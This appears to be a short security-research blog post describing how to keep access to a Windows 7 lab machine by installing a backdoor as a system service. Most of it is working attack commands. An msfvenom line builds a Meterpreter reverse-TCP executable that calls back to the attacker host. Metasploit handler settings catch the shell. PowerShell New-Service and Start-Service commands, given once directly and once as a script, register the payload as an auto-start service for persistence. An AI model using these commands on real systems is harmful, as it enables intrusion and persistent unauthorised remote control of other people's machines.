Back home
中文
H7 / SECURITY RESEARCH NOTES

Maintaining Access by Creating a windows System Service Backdoor with powershell

Environment

IPHOSTNAMENOTE
10.10.10.93KaliAttacker host
10.10.10.94Win7Target host

Related Scripts

ContentsDownload
PowershellScript

Configure MSF on the Attacker Host

Generate a Backdoor with MSF

msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=10.10.10.93 LPORT=2444 ‐f exe > pentest.exe

Start the Listener with MSF

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.93
set lport 2444
exploit

Execute on the Target Host

Create a Service with Powershell to Obtain a Reverse shell

New-Service -Name "test_exploit" -BinaryPathName "C:\Users\aesteam3\Desktop\pentest.exe"  -StartupType Automatic
Start-Service -Name "test_exploit"

The Kali Attacker Host Obtains a shell:

Create and Run the powershell Script

$service_name = "test_exploit"  # specify service name
$exe_path = "C:\Users\aesteam3\Desktop\pentest.exe" # specify exe path
New-Service -Name $service_name -BinaryPathName $exe_path -StartupType Automatic 
Start-Service -Name $service_name 

The Result Is as Follows: